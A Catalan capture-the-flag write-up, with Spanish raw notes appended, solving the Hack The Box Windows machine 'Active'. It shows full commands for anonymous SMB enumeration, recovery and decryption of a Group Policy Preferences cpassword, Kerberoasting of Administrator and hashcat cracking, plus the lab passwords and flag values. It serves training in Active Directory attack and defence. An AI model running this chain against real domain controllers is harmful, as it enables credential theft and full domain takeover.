



HACK THE BOX · WINDOWS

Active

Informe tècnic complet ·
explotació reproduïble

Màquina Active resolta

HTB Active · 2026-04-17

Autor	Ramon Santos Sabarich / r4ms4nt
Tipus	Informe tècnic complet i arxivable
Objectiu	Documentar enumeració, GPP, Kerberoasting, user i root amb traçabilitat clara i reutilitzable

**Data de
resolució** 2026-04-17



Informe tècnic normalitzat per a arxivament, consulta i traçabilitat.

GUIA DE LECTURA

Indice

Informe tecnic complet de la resolucio de la maquina Active. El document presenta la sequencia de preparacio, enumeracio, explotacio i tancament tecnic amb una estructura orientada a lectura, arxiu i consulta.

- 1.** Nota de precisió important
- 2.** 1. Preparació del laboratori i arrencada del cas
- 3.** 2. Reconeixement inicial i perfil de controlador de domini
- 4.** 3. Resolució local del domini
- 5.** 4. Enumeració SMB anònima
- 6.** 5. Revisió del share `Replication`
- 7.** 6. Troballa de `Groups.xml` i exposició GPP
- 8.** 7. Desxifrat de `cpassword` i recuperació de credencial
- 9.** 8. Validació de `SVC\_TGS` sobre SMB
- 10.** 9. Obtenció de `user.txt`
- 11.** 10. Enumeració Kerberos i detecció d'un SPN útil
- 12.** 11. Sol·licitud de TGS per a `Administrator`
- 13.** 12. Crackeig offline del hash Kerberos
- 14.** 13. Validació de la credencial d`Administrator`
- 15.** 14. Obtenció de `root.txt`
- 16.** 15. Resum tècnic final

17. 16. Annex A — Notes originals íntegres



Nota de precisió important

En aquest laboratori apareixen dues línies tècniques molt rellevants i convé deixar-les ben separades de cara al futur:

- **Exposició inicial validada:** accés anònim a recursos SMB d'un controlador de domini.
- **Troballa crítica posterior:** `Groups.xml` amb `cpassword`, encaixant amb el problema històric de **Group Policy Preferences** associat a **MS14-025 / CVE-2014-1812**.
- **Escalada posterior validada:** ús d'un **compte de domini vàlid** per sol·licitar un TGS i fer **Kerberoasting** contra `Administrator`.

També convé fixar aquest matís:

- en aquest cas, la línia explotada a Kerberos va ser **Kerberoasting**, no **AS-REP Roasting**;
- la raó és que ja existia un **compte vàlid de domini** (`SVC_TGS`) amb el qual consultar SPN i sol·licitar el TGS corresponent.

1. Preparació del laboratori i arrencada del cas

Context d'inici

Es parteix d'un laboratori de **Hack The Box** amb la VPN ja connectada i s'utilitza un script propi d'arrencada anomenat `Inici-HTB`, pensat per preparar l'entorn base de qualsevol màquina.

Funcions de l'script d'arrencada

- fixar l'objectiu a Polybar mitjançant `settarget`
- crear l'estructura base del cas amb `mktm`
- generar carpetes de treball
- comprovar connectivitat amb `ping`
- intentar identificació ràpida amb `whichSystem.py`
- llançar `nmap -p-`
- extreure ports oberts
- llançar `nmap -sCV` sobre els ports detectats
- generar resum inicial i següent pas

Estructura generada

```
ACTIVE.
├── content
├── exploits
├── nmap
│   ├── allPorts
│   ├── extractPorts.txt
│   ├── nmap_tcp_services.txt
│   ├── ping.txt
│   └── whichSystem.txt
├── notes
│   ├── 00_resumen_inicial.md
│   └── 01_siguiembre_paso.txt
```

Execució de l'script

```
Inici-HTB ACTIVE 10.129.22.210
```

2. Reconeixement inicial i perfil de controlador de domini

Connectivitat bàsica

```
PING 10.129.22.210 (10.129.22.210) 56(84) bytes of data.
64 bytes from 10.129.22.210: icmp_seq=1 ttl=127 time=50.4 ms
```

Interpretació útil: la connectivitat està confirmada i el TTL apunta a un sistema Windows.

Identificació ràpida

```
10.129.22.210 (ttl -> 127): Windows
```

Escaneig complet de ports

Es detecten, entre d'altres, els ports oberts següents:

- 53/tcp → DNS
- 88/tcp → Kerberos
- 135/tcp → MSRPC
- 139/tcp → NetBIOS
- 389/tcp → LDAP
- 445/tcp → SMB
- 464/tcp → kpasswd

- 593/tcp → RPC over HTTP
- 636/tcp → LDAPS
- 3268/tcp → Global Catalog LDAP
- 3269/tcp → Global Catalog LDAPS
- 5722/tcp → DFSR / RPC
- 9389/tcp → ADWS
- 47001/tcp → WinRM / HTTPAPI
- diversos ports alts MSRPC

Escaneig de serveis

El `nmap -sCV` deixa un conjunt de senyals molt clar:

```
389/tcp open ldap Microsoft Windows Active Directory LDAP (Domain:
active.htb, Site: Default-First-Site-Name)
3268/tcp open ldap Microsoft Windows Active Directory LDAP (Domain:
active.htb, Site: Default-First-Site-Name)
47001/tcp open http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
Service Info: Host: DC; OS: Windows; CPE: cpe:/o:microsoft:windows_server_2008:r2:sp1,
cpe:/o:microsoft:windows
```

Conclusió de la fase

La màquina presenta des del principi un perfil clar de **Controlador de Domini Active Directory**:

- domini identificat: `active.htb`
- nom del host: `DC`
- superfície dominant: **AD / SMB / LDAP / Kerberos**
- `SMB signing enabled and required`

3. Resolució local del domini

Com que el domini ja apareix validat durant l'enumeració inicial, s'afegeix l'entrada al fitxer `/etc/hosts`.

Afegir `active.htb`

```
echo '10.129.22.210 active.htb' | sudo tee -a /etc/hosts
```

Comprovació de resolució

```
getent hosts active.htb
```

Resultat:

```
10.129.22.210 active.htb
```

Objectiu d'aquest pas: treballar contra el nom de domini real de la màquina, no només contra la IP.

4. Enumeració SMB anònima

Amb la resolució ja fixada, es prova si el DC exposa recursos SMB accessibles sense credencials.

Enumeració de shares

```
smbclient -L //active.htb -N
```

Resultat observat

Anonymous login successful

Sharename	Type	Comment
-----	----	-----
ADMIN\$	Disk	Remote Admin
C\$	Disk	Default share
IPC\$	IPC	Remote IPC
NETLOGON	Disk	Logon server share
Replication	Disk	
SYSVOL	Disk	Logon server share
Users	Disk	

L'error final sobre [SMB1](#) no invalida la troballa principal. El que és important és que **hi ha sessió nul·la útil** i que es poden llistar recursos compartits.

Troballa dominant d'aquesta fase

El share més interessant passa a ser:

- [Replication](#)

perquè el seu nom, en un entorn de controlador de domini, apunta a contingut potencialment molt valuós.

5. Revisió del share Replication

Enumeració recursiva

```
smbclient //active.htb/Replication -N -c 'recurse;ls'
```

Troballes rellevants

Dins del share apareixen rutes especialment importants:

- `active.htb\Policies`
- `active.htb\DfsrPrivate`
- `active.htb\scripts`

I, dins de `Policies`, s'observa una ruta clarament útil:

```
active.htb\Policies\{31B2F340-016D-11D2-945F-00C04FB984F9}\MACHINE\Preferences\Groups\Groups.xml
```

També queden anotats altres artefactes secundaris:

- `Registry.pol`
- `GptTmpl.inf`

Interpretació útil

La combinació de:

- accés anònim SMB,
- share `Replication`,
- polítiques de domini visibles,
- i presència de `Groups.xml`

converteix aquesta ruta en la millor candidata immediata del cas.

6. Troballa de `Groups.xml` i exposició GPP

Descàrrega del fitxer

```
cd /home/r4mon/pentest/targets/HTB/easy/ACTIVE/content && smbclient //active.htb/Replication -N -c 'cd "active.htb\Policies\{31B2F340-016D-11D2-945F-00C04FB984F9}\MACHINE\Preferences\Groups"; get Groups.xml'
```

Contingut observat

```
<?xml version="1.0" encoding="utf-8"?>
<Groups clsid="{3125E937-EB16-4b4c-9934-544FC6D24D26}"><User
clsid="{DF5F1855-51E5-4d24-8B1A-D9BDE98BA1D1}" name="active.htb\SVC_TGS" image="2"
changed="2018-07-18 20:46:06" uid="{EF57DA28-5F69-4530-A59E-AAB58578219D}"><Properties
action="U" newName="" fullName="" description="" cpassword="edBSH0whZLTjt/
QS9FeIcJ83mjWA98gw9guK0hJ0dcqh+ZGMeX0sQbCpZ3xUjTLfCuNH8pG5aSVYdYw/Ng\VmQ"
changeLogon="0" noChange="1" neverExpires="1" acctDisabled="0"
userName="active.htb\SVC_TGS"/></User>
</Groups>
```

Conclusió tècnica

Aquesta troballa encaixa de forma molt forta amb el problema històric de **Group Policy Preferences passwords**, documentat a **MS14-025 / CVE-2014-1812**.

El més important d'aquest fitxer no és només que existeixi, sinó que conté:

- un usuari de domini: `active.htb\SVC_TGS`
- un valor `cpassw`

Aquest `cpassw` passa a ser la troballa dominant del cas.

7. Desxifrat de cpassword i recuperació de credencial

Desxifrat amb `gpp-decrypt`

```
gpp-decrypt edBSH0whZLTjt/
QS9FeIcJ83mjWA98gw9guK0hJ0dcqh+ZGMeX0sQbCpZ3xUjTLfCuNH8pG5aSVYdYw/Ng\VmQ
```

Resultat

```
GPPstillStandingStrong2k18
```

Credencial obtinguda

- usuari: `active.htb\SVC_TGS`
- contrasenya: `GPPstillStandingStrong2k18`

Amb això ja no s'està només davant d'una configuració exposada, sinó davant d'una **credencial real** recuperada a partir de la política de grup.

8. Validació de SVC_TGS sobre SMB

Comprovació de permisos amb smbmap

```
smbmap -H 10.129.22.210 -d active.htb -u SVC_TGS -p GPPstillStandingStrong2k18
```

Resultat observat

Disk	Permissions	Comment
----	-----	-----
ADMIN\$	NO ACCESS	Remote Admin
C\$	NO ACCESS	Default share
IPC\$	NO ACCESS	Remote IPC
NETLOGON	READ ONLY	Logon server
share		
Replication	READ ONLY	
SYSVOL	READ ONLY	Logon server
share		
Users	READ ONLY	

Interpretació útil

El compte SVC_TGS no és administratiu, però sí que permet:

- Llegir NETLOGON
- Llegir Replication
- Llegir SYSVOL
- Llegir Users

La millor derivació immediata és revisar el perfil del mateix usuari dins de Users.

Accés amb smbclient

```
smbclient //10.129.22.210/Users -U active.htb\SVC_TGS%GPPstillStandingStrong2k18
```

Navegació interna

```
smb: \> ls
...
SVC_TGS                                D          0  Sat Jul 21 17:16:32 2018
```

```
smb: \> cd SVC_TGS
smb: \SVC_TGS\> ls
...
Desktop                                D          0  Sat Jul 21 17:14:42 2018
```

9. Obtenció de user.txt

Accés a l'escriptori de SVC_TGS

```
smb: \SVC_TGS\> cd Desktop
smb: \SVC_TGS\Desktop\> ls
user.txt                                AR          34  Fri Apr 17 16:47:36 2026
```

Descàrrega i lectura

```
smb: \SVC_TGS\Desktop\> get user.txt
getting file \SVC_TGS\Desktop\user.txt of size 34 as user.txt
```

```
smb: \SVC_TGS\Desktop\> !cat user.txt
bed05b723496f102483aaf7bebac6238
```

Flag d'usuari

```
bed05b723496f102483aaf7bebac6238
```

Observació metodològica

Aquí es verifica un detall important del cas:

- `smbclient` permet navegar per shares SMB;
- no és una shell de sistema;
- per llegir fitxers, el flux útil va ser:
 1. `get <fitxer>`
 2. `!cat <fitxer>`

10. Enumeració Kerberos i detecció d'un SPN útil

Amb un compte de domini vàlid ja disponible, la següent línia de treball lògica passa a ser Kerberos.

Enumeració de SPNs

```
impacket-GetUserSPNs active.htb/SVC_TGS:'GPPstillStandingStrong2k18' -dc-ip
10.129.22.210
```

Resultat observat

```
ServicePrincipalName  Name
MemberOf
LastLogon             Delegation
-----
active/CIFS:445      Administrator  CN=Group Policy Creator
Owners,CN=Users,DC=active,DC=htb  2018-07-18 21:06:40.351723  2026-04-17 16:47:38.977345
```

Troballa dominant

Existeix un SPN associat a:

- Administrator

Això obre una via clara de **Kerberoasting**.

11. Sol·licitud de TGS per a Administrator

Petició específica del TGS

```
impacket-GetUserSPNs active.htb/SVC_TGS:'GPPstillStandingStrong2k18' -dc-ip
10.129.22.210 -request-user Administrator
```

Resultat rellevant

L'eina retorna una línia amb aquest format:

```
$krb5tgs$23$*Administrator$ACTIVE.HTB$active.htb/Administrator*$...
```

Aquest resultat confirma que s'ha obtingut un **TGS vàlid per a crackeig offline**.

Conservació del hash

El hash es desa en un fitxer local per treballar amb traçabilitat:

- /home/r4mon/pentest/targets/HTB/easy/ACTIVE/content/administrator_tgs.hash

12. Crackeig offline del hash Kerberos

Comprovació del mode de Hashcat

```
hashcat --help | grep 13100
```

Resultat:

```
13100 | Kerberos 5, etype 23, TGS-REP
```

Comprovació de `rockyou`

```
ls -lh /usr/share/wordlists/rockyou.txt /usr/share/wordlists/rockyou.txt.gz 2>/dev/null
```

Resultat:

```
/usr/share/wordlists/rockyou.txt  
/usr/share/wordlists/rockyou.txt.gz
```

Crackeig del hash

```
hashcat -m 13100 -a 0 /home/r4mon/pentest/targets/HTB/easy/ACTIVE/content/  
administrator_tgs.hash /usr/share/wordlists/rockyou.txt
```

Resultat observat

```
$krb5tgs$23$*Administrator$ACTIVE.HTB$active.htb/Administrator*$...:Ticketmaster1968
```

I l'estat final de Hashcat va ser:

```
Status.....: Cracked  
Recovered.....: 1/1 (100.00%)
```

Credencial obtinguda

- usuari: `Administrator`
- contrasenya: `Ticketmaster1968`

Amb això queda tancada amb èxit la fase de **Kerberoasting**.

13. Validació de la credencial d'Administrator

Accés administratiu a C\$

```
smbclient //10.129.22.210/C$ -U active.htb\Administrator%Ticketmaster1968
```

Resultat observat

```
smb: \> ls
$Recycle.Bin           DHS      0
Documents and Settings DHSrn    0
pagefile.sys           AHS 5190320128
PerfLogs               D        0
Program Files          DR       0
Program Files (x86)    DR       0
ProgramData            DHn      0
Recovery              DHSn     0
System Volume Information DHS      0
Users                  DR       0
Windows                D        0
```

Conclusió de la fase

La credencial d'Administrator no només està crackejada: també queda **validada sobre SMB amb accés real al recurs administratiu C\$**.

Navegació a l'escriptori d'Administrator

```
smb: \> cd Users\Administrator\Desktop
smb: \Users\Administrator\Desktop> ls
root.txt                AR      34  Fri Apr 17 16:47:36 2026
```

14. Obtenció de root.txt

Descàrrega i lectura

```
smb: \Users\Administrator\Desktop> get root.txt
getting file \Users\Administrator\Desktop\root.txt of size 34 as root.txt
```

```
smb: \Users\Administrator\Desktop> !cat root.txt
7aab38b5d931524e961a3a8a44d7a2ac
```

Flag de root

```
7aab38b5d931524e961a3a8a44d7a2ac
```

Amb això queda completada la resolució de la màquina.

15. Resum tècnic final

Cadena completa validada

1. Arrencada del laboratori amb `Inici-HTB`
2. Enumeració inicial i perfil clar de **Domain Controller**
3. Resolució local de `active.htb`
4. Enumeració SMB anònima
5. Descobriment del share `Replication`
6. Troballa de `Groups.xml` dins de polítiques de domini
7. Extracció de `cpassword`
8. Desxifrat amb `gpp-decrypt`
9. Recuperació de la credencial `SVC_TGS`
10. Validació de `SVC_TGS` sobre SMB
11. Accés al share `Users`
12. Obtenció de `user.txt`
13. Enumeració Kerberos amb `GetUserSPNs`
14. Detecció d'SPN associat a `Administrator`
15. Sol·licitud del TGS d'`Administrator`
16. Crackeig offline del hash amb `hashcat -m 13100`
17. Recuperació de la contrasenya `Ticketmaster1968`
18. Accés administratiu a `C$`
19. Descàrrega de `root.txt`
20. Obtenció de la flag final

Flags

- `user.txt` → `bed05b723496f102483aaf7bebac6238`
- `root.txt` → `7aab38b5d931524e961a3a8a44d7a2ac`

Lliçó principal del cas

La màquina **Active** deixa una cadena molt neta i molt reutilitzable:

- un **accés anònim a SMB** permet revisar polítiques replicades,
- una **Group Policy Preference** exposa un `cpassword`,

- aquesta credencial dona accés útil al domini,
- el compte resultant permet **Kerberoasting**,
- i el crackeig offline del TGS acaba en una **credencial administrativa de domini**.

És un cas molt bo per fixar aquesta relació:

SMB anònim → GPP exposat → compte de domini → Kerberoasting → Administrator → root flag

16. Annex A — Notes originals íntegres

A partir d'aquí es conserva el material original complet, sense esborrar contingut.

Iniciamos el laboratorio de trabajo de la máquina ACTIVE de HTB.

Conectados a la VPN de HTB, arrancamos con un script que me he generado para el inicio de cualquier máquina de HTB, este script hace lo siguiente:

- fija objetivo con settarget a la polybar de mi escritorio
- crea entorno de máquina con mktm (otro script de elaboración propia) que genera lo siguiente: / ├── content/ ├── exploits/ ├── nmap/ └── notes/
- genera estructura de carpetas
- hace ping
- intenta detectar sistema con whichSystem.py
- lanza nmap -p-
- extrae puertos abiertos
- lanza nmap -sCV sobre esos puertos
- genera resumen inicial y siguiente paso

Ejecutamos el script de inicio y obtenemos lo siguiente:

ACTIVE. ├── content ├── exploits ├── nmap | ├── allPorts | ├── extractPorts.txt |
├── nmap_tcp_services.txt | ├── ping.txt | └── whichSystem.txt └── notes ├──
00_resumen_inicial.md └── 01_siguiente_paso.txt

➤ Inici-HTB ACTIVE 10.129.22.210 [] *Fijando objetivo en Polybar con settarget []*
 Preparando directorio base [*] Comprobando conectividad inicial PING 10.129.22.210
 (10.129.22.210) 56(84) bytes of data. 64 bytes from 10.129.22.210: icmp_seq=1
 ttl=127 time=50.4 ms

--- 10.129.22.210 ping statistics --- 1 packets transmitted, 1 received, 0% packet loss,
 time 0ms rtt min/avg/max/mdev = 50.357/50.357/50.357/0.000 ms [*] Intentando
 identificación rápida con whichSystem.py

10.129.22.210 (ttl -> 127): Windows

[*] Lanzando escaneo completo de puertos [sudo] contraseña para r4mon: Host
 discovery disabled (-Pn). All addresses will be marked 'up' and scan times may be
 slower. Starting Nmap 7.94SVN (<https://nmap.org>) at 2026-04-17 16:57 CEST
 Initiating SYN Stealth Scan at 16:57 Scanning 10.129.22.210 [65535 ports] Discovered
 open port 135/tcp on 10.129.22.210 Discovered open port 139/tcp on 10.129.22.210
 Discovered open port 445/tcp on 10.129.22.210 Discovered open port 53/tcp on
 10.129.22.210 Discovered open port 3268/tcp on 10.129.22.210 Discovered open port
 49169/tcp on 10.129.22.210 Discovered open port 9389/tcp on 10.129.22.210
 Discovered open port 47001/tcp on 10.129.22.210 Discovered open port 3269/tcp on
 10.129.22.210 Discovered open port 49158/tcp on 10.129.22.210 Discovered open
 port 49152/tcp on 10.129.22.210 Discovered open port 464/tcp on 10.129.22.210
 Discovered open port 49153/tcp on 10.129.22.210 Discovered open port 593/tcp on
 10.129.22.210 Discovered open port 49154/tcp on 10.129.22.210 Discovered open
 port 88/tcp on 10.129.22.210 Discovered open port 49167/tcp on 10.129.22.210
 Discovered open port 49157/tcp on 10.129.22.210 Discovered open port 389/tcp on
 10.129.22.210 Discovered open port 49155/tcp on 10.129.22.210 Discovered open
 port 636/tcp on 10.129.22.210 Discovered open port 5722/tcp on 10.129.22.210
 Discovered open port 49162/tcp on 10.129.22.210 Completed SYN Stealth Scan at
 16:57, 13.72s elapsed (65535 total ports) Nmap scan report for 10.129.22.210 Host is
 up, received user-set (0.046s latency). Scanned at 2026-04-17 16:57:26 CEST for 14s
 Not shown: 65049 closed tcp ports (reset), 463 filtered tcp ports (no-response) Some
 closed ports may be reported as filtered due to --defeat-rst-ratelimit PORT STATE
 SERVICE REASON 53/tcp open domain syn-ack ttl 127 88/tcp open kerberos-sec syn-
 ack ttl 127 135/tcp open msrpc syn-ack ttl 127 139/tcp open netbios-ssn syn-ack ttl
 127 389/tcp open ldap syn-ack ttl 127 445/tcp open microsoft-ds syn-ack ttl 127 464/
 tcp open kpasswd5 syn-ack ttl 127 593/tcp open http-rpc-epmap syn-ack ttl 127 636/
 tcp open ldapssl syn-ack ttl 127 3268/tcp open globalcatLDAP syn-ack ttl 127 3269/tcp
 open globalcatLDAPssl syn-ack ttl 127 5722/tcp open msdfs syn-ack ttl 127 9389/tcp
 open adws syn-ack ttl 127 47001/tcp open winrm syn-ack ttl 127 49152/tcp open
 unknown syn-ack ttl 127 49153/tcp open unknown syn-ack ttl 127 49154/tcp open
 unknown syn-ack ttl 127 49155/tcp open unknown syn-ack ttl 127 49157/tcp open
 unknown syn-ack ttl 127 49158/tcp open unknown syn-ack ttl 127 49162/tcp open
 unknown syn-ack ttl 127 49167/tcp open unknown syn-ack ttl 127 49169/tcp open
 unknown syn-ack ttl 127

- LDAP responde como Microsoft Windows Active Directory LDAP con dominio active.htb.
- SMB tiene signing enabled and required.
- Se ha generado correctamente la estructura del caso, los ficheros de nmap y las notas iniciales.

Asumimos que:

- La máquina es, con alta probabilidad, un controlador de dominio.
- La rama principal más lógica ahora mismo es enumeración Windows / AD, no web.
- WinRM en 47001/tcp queda anotado, pero todavía no hay evidencia de acceso útil.

Creo que toca tratar la máquina como entorno AD desde el principio.

Añadimos la entrada de active.htb en /etc/hosts.

```
> echo '10.129.22.210 active.htb' | sudo tee -a /etc/hosts [sudo] contraseña para r4mon: 10.129.22.210 active.htb
```

El siguiente paso único es comprobar la resolución local del nombre.

```
> getent hosts active.htb 10.129.22.210 active.htb
```

Vamos a probar si active.htb expone shares SMB accesibles sin credenciales.

Anonymous login successful

Sharename	Type	Comment
ADMIN\$	Disk	Remote Admin
C\$	Disk	Default share
IPC\$	IPC	Remote IPC
NETLOGON	Disk	Logon server share
Replication	Disk	
SYSVOL	Disk	Logon server share
Users	Disk	

Reconnecting with SMB1 for workgroup listing. do_connect: Connection to active.htb failed (Error NT_STATUS_RESOURCE_NAME_NOT_FOUND) Unable to connect with SMB1 -- no workgroup available

Lo que extraigo de esta salida es:

- Hay sesión nula/anónima útil en SMB.

- El share Replication destaca inmediatamente y pasa a ser el hallazgo dominante.

Vamos a exprimir Replication primero.

› smbclient //active.htb/Replication -N -c 'recurse;ls' Anonymous login successful . D 0 Sat Jul 21 12:37:44 2018 .. D 0 Sat Jul 21 12:37:44 2018 active.htb D 0 Sat Jul 21 12:37:44 2018

\active.htb . D 0 Sat Jul 21 12:37:44 2018 .. D 0 Sat Jul 21 12:37:44 2018 DfsrPrivate DHS 0 Sat Jul 21 12:37:44 2018 Policies D 0 Sat Jul 21 12:37:44 2018 scripts D 0 Wed Jul 18 20:48:57 2018

\active.htb\DfsrPrivate . DHS 0 Sat Jul 21 12:37:44 2018 .. DHS 0 Sat Jul 21 12:37:44 2018 ConflictAndDeleted D 0 Wed Jul 18 20:51:30 2018 Deleted D 0 Wed Jul 18 20:51:30 2018 Installing D 0 Wed Jul 18 20:51:30 2018

\active.htb\Policies . D 0 Sat Jul 21 12:37:44 2018 .. D 0 Sat Jul 21 12:37:44 2018 {31B2F340-016D-11D2-945F-00C04FB984F9} D 0 Sat Jul 21 12:37:44 2018 {6AC1786C-016F-11D2-945F-00C04fB984F9} D 0 Sat Jul 21 12:37:44 2018

\active.htb\scripts . D 0 Wed Jul 18 20:48:57 2018 .. D 0 Wed Jul 18 20:48:57 2018

\active.htb\DfsrPrivate\ConflictAndDeleted . D 0 Wed Jul 18 20:51:30 2018 .. D 0 Wed Jul 18 20:51:30 2018

\active.htb\DfsrPrivate\Deleted . D 0 Wed Jul 18 20:51:30 2018 .. D 0 Wed Jul 18 20:51:30 2018

\active.htb\DfsrPrivate\Installing . D 0 Wed Jul 18 20:51:30 2018 .. D 0 Wed Jul 18 20:51:30 2018

\active.htb\Policies{31B2F340-016D-11D2-945F-00C04FB984F9} . D 0 Sat Jul 21 12:37:44 2018 .. D 0 Sat Jul 21 12:37:44 2018 GPT.INI A 23 Wed Jul 18 22:46:06 2018 Group Policy D 0 Sat Jul 21 12:37:44 2018 MACHINE D 0 Sat Jul 21 12:37:44 2018 USER D 0 Wed Jul 18 20:49:12 2018

\active.htb\Policies{6AC1786C-016F-11D2-945F-00C04fB984F9} . D 0 Sat Jul 21 12:37:44 2018 .. D 0 Sat Jul 21 12:37:44 2018 GPT.INI A 22 Wed Jul 18 20:49:12 2018 MACHINE D 0 Sat Jul 21 12:37:44 2018 USER D 0 Wed Jul 18 20:49:12 2018

\active.htb\Policies{31B2F340-016D-11D2-945F-00C04FB984F9}\Group Policy . D 0 Sat Jul 21 12:37:44 2018 .. D 0 Sat Jul 21 12:37:44 2018 GPE.INI A 119 Wed Jul 18 22:46:06 2018

\active.htb\Policies{31B2F340-016D-11D2-945F-00C04FB984F9}\MACHINE . D 0 Sat Jul 21 12:37:44 2018 .. D 0 Sat Jul 21 12:37:44 2018 Microsoft D 0 Sat Jul 21 12:37:44 2018 Preferences D 0 Sat Jul 21 12:37:44 2018 Registry.pol A 2788 Wed Jul 18 20:53:45 2018

\active.htb\Policies{31B2F340-016D-11D2-945F-00C04FB984F9}\USER . D 0 Wed Jul 18 20:49:12 2018 .. D 0 Wed Jul 18 20:49:12 2018

\active.htb\Policies{6AC1786C-016F-11D2-945F-00C04fB984F9}\MACHINE . D 0 Sat Jul 21 12:37:44 2018 .. D 0 Sat Jul 21 12:37:44 2018 Microsoft D 0 Sat Jul 21 12:37:44 2018

\active.htb\Policies{6AC1786C-016F-11D2-945F-00C04fB984F9}\USER . D 0 Wed Jul 18 20:49:12 2018 .. D 0 Wed Jul 18 20:49:12 2018

\active.htb\Policies{31B2F340-016D-11D2-945F-00C04FB984F9}\MACHINE\Microsoft . D 0 Sat Jul 21 12:37:44 2018 .. D 0 Sat Jul 21 12:37:44 2018 Windows NT D 0 Sat Jul 21 12:37:44 2018

\active.htb\Policies{31B2F340-016D-11D2-945F-00C04FB984F9}\MACHINE\Preferences . D 0 Sat Jul 21 12:37:44 2018 .. D 0 Sat Jul 21 12:37:44 2018 Groups D 0 Sat Jul 21 12:37:44 2018

\active.htb\Policies{6AC1786C-016F-11D2-945F-00C04fB984F9}\MACHINE\Microsoft . D 0 Sat Jul 21 12:37:44 2018 .. D 0 Sat Jul 21 12:37:44 2018 Windows NT D 0 Sat Jul 21 12:37:44 2018

\active.htb\Policies{31B2F340-016D-11D2-945F-00C04FB984F9}\MACHINE\Microsoft\Windows NT . D 0 Sat Jul 21 12:37:44 2018 .. D 0 Sat Jul 21 12:37:44 2018 SecEdit D 0 Sat Jul 21 12:37:44 2018

\active.htb\Policies{31B2F340-016D-11D2-945F-00C04FB984F9}\MACHINE\Preferences\Groups . D 0 Sat Jul 21 12:37:44 2018 .. D 0 Sat Jul 21 12:37:44 2018 Groups.xml A 533 Wed Jul 18 22:46:06 2018

\active.htb\Policies{6AC1786C-016F-11D2-945F-00C04fB984F9}\MACHINE\Microsoft\Windows NT . D 0 Sat Jul 21 12:37:44 2018 .. D 0 Sat Jul 21 12:37:44 2018 SecEdit D 0 Sat Jul 21 12:37:44 2018

\active.htb\Policies{31B2F340-016D-11D2-945F-00C04FB984F9}\MACHINE\Microsoft\Windows NT\SecEdit . D 0 Sat Jul 21 12:37:44 2018 .. D 0 Sat Jul 21 12:37:44 2018 GptTmpl.inf A 1098 Wed Jul 18 20:49:12 2018

\active.htb\Policies{6AC1786C-016F-11D2-945F-00C04fB984F9}\MACHINE\Microsoft\Windows NT\SecEdit . D 0 Sat Jul 21 12:37:44 2018 .. D 0 Sat Jul 21 12:37:44 2018 GptTmpl.inf A 3722 Wed Jul 18 20:49:12 2018

5217023 blocks of size 4096. 279206 blocks available

El share Replication es un recurso de DFSR (Distributed File System Replication) que se utiliza para replicar datos entre controladores de dominio. El hecho de que sea accesible sin autenticación es un hallazgo importante, ya que puede contener información sensible o ser utilizado para escalar privilegios.

- Dentro de Replication, el directorio Policies/{31B2F340-016D-11D2-945F-00C04FB984F9}/MACHINE/Preferences/Groups/Groups.xml es especialmente interesante, ya que puede contener información sobre grupos y usuarios del dominio.
- El directorio Policies/{31B2F340-016D-11D2-945F-00C04FB984F9}/MACHINE/Microsoft/Windows NT/SecEdit/GptTmpl.inf también es relevante, ya que puede contener configuraciones de seguridad que podrían ser explotables.

Vamos a ver si en Groups.xml hay algo útil:

```
cd /home/r4mon/pentest/targets/HTB/easy/ACTIVE/content && smbclient //active.htb/Replication -N -c 'cd "active.htb\Policies{31B2F340-016D-11D2-945F-00C04FB984F9}\MACHINE\Preferences\Groups"; get Groups.xml'
```

```
> cat /home/r4mon/pentest/targets/HTB/easy/ACTIVE/content/Groups.xml
```

```
| File: /home/r4mon/pentest/targets/HTB/easy/ACTIVE/content/Groups.xml
```

```
1 | 2 | <Properties action="U" newName="" fullName="" description=""
cpassword="edBSHOwhZLTjt/
QS9Felcj83mjWA98gw9guKOhJOdcqh+ZGMeXOsQbCpZ3xUjTLfCuNH8pG5aSVYdYw/
NglVmQ" changeLogon="0" noChange="1" neverExpires="1" acc | tDisabled="0"
userName="active.htb\SVC_TGS"/> 3 |
```

Lo que hemos encontrado encaja muy fuerte con el problema histórico de Group Policy Preferences passwords, concretamente MS14-025 / CVE-2014-1812. Microsoft retiró la posibilidad de guardar usuario y contraseña en preferencias como Local Users and Groups porque se almacenaban de forma insegura, y NVD describe justamente que esa debilidad podía permitir recuperar credenciales distribuidas por políticas.

- Hallazgo dominante actual: Groups.xml con cpassword para active.htb\SVC_TGS.

Ahora que ya tenemos las credenciales obtenidas en Groups.xml, vamos a validar su reutilización sobre SMB y a ver donde nos lleva.

Desciframos el valor de cpassword con el script gpp-decrypt.

```
> gpp-decrypt edBSHOwhZLTjt/
QS9FelcJ83mjWA98gw9guKOhJOdcqh+ZGMeXOsQbCpZ3xUjTLfCuNH8pG5aSVYdYw/
NgIVmQ GPPstillStandingStrong2k18
```

Probamos las credenciales en SMB con SMBMAP.

```
> smbmap -H 10.129.22.210 -d active.htb -u SVC_TGS -p GPPstillStandingStrong2k18
[+] IP: 10.129.22.210:445 Name: active.htb
Disk Permissions Comment ----
ADMIN$ NO ACCESS Remote Admin C$
NO ACCESS Default share IPC$ NO ACCESS Remote IPC NETLOGON READ ONLY Logon
server share Replication READ ONLY
SYSVOL READ ONLY Logon server share Users READ ONLY
```

Las credenciales de SVC_TGS permiten acceso de solo lectura a los shares NETLOGON, Replication, SYSVOL y Users. Esto es consistente con el hecho de que SVC_TGS es un usuario de servicio con permisos limitados, pero aún así puede ser útil para la enumeración y la recopilación de información adicional sobre el dominio.

Accedemos con smbclient al recurso //10.129.22.210/Users.

```
> smbclient //10.129.22.210/Users -U
active.htb\SVC_TGS%GPPstillStandingStrong2k18 Try "help" to get a list of possible
commands. smb: > id id: command not found smb: > get user.txt
NT_STATUS_OBJECT_NAME_NOT_FOUND opening remote file \user.txt smb: > ls . DR 0
Sat Jul 21 16:39:20 2018 .. DR 0 Sat Jul 21 16:39:20 2018 Administrator D 0 Mon Jul 16
12:14:21 2018 All Users DHSrn 0 Tue Jul 14 07:06:44 2009 Default DHR 0 Tue Jul 14
08:38:21 2009 Default User DHSrn 0 Tue Jul 14 07:06:44 2009 desktop.ini AHS 174 Tue
Jul 14 06:57:55 2009 Public DR 0 Tue Jul 14 06:57:55 2009 SVC_TGS D 0 Sat Jul 21
17:16:32 2018
```

smb: >

El share Users contiene directorios para cada usuario del dominio, incluyendo el de SVC_TGS. Entramos en el directorio de SVC_TGS para ver si hay algo útil.

```
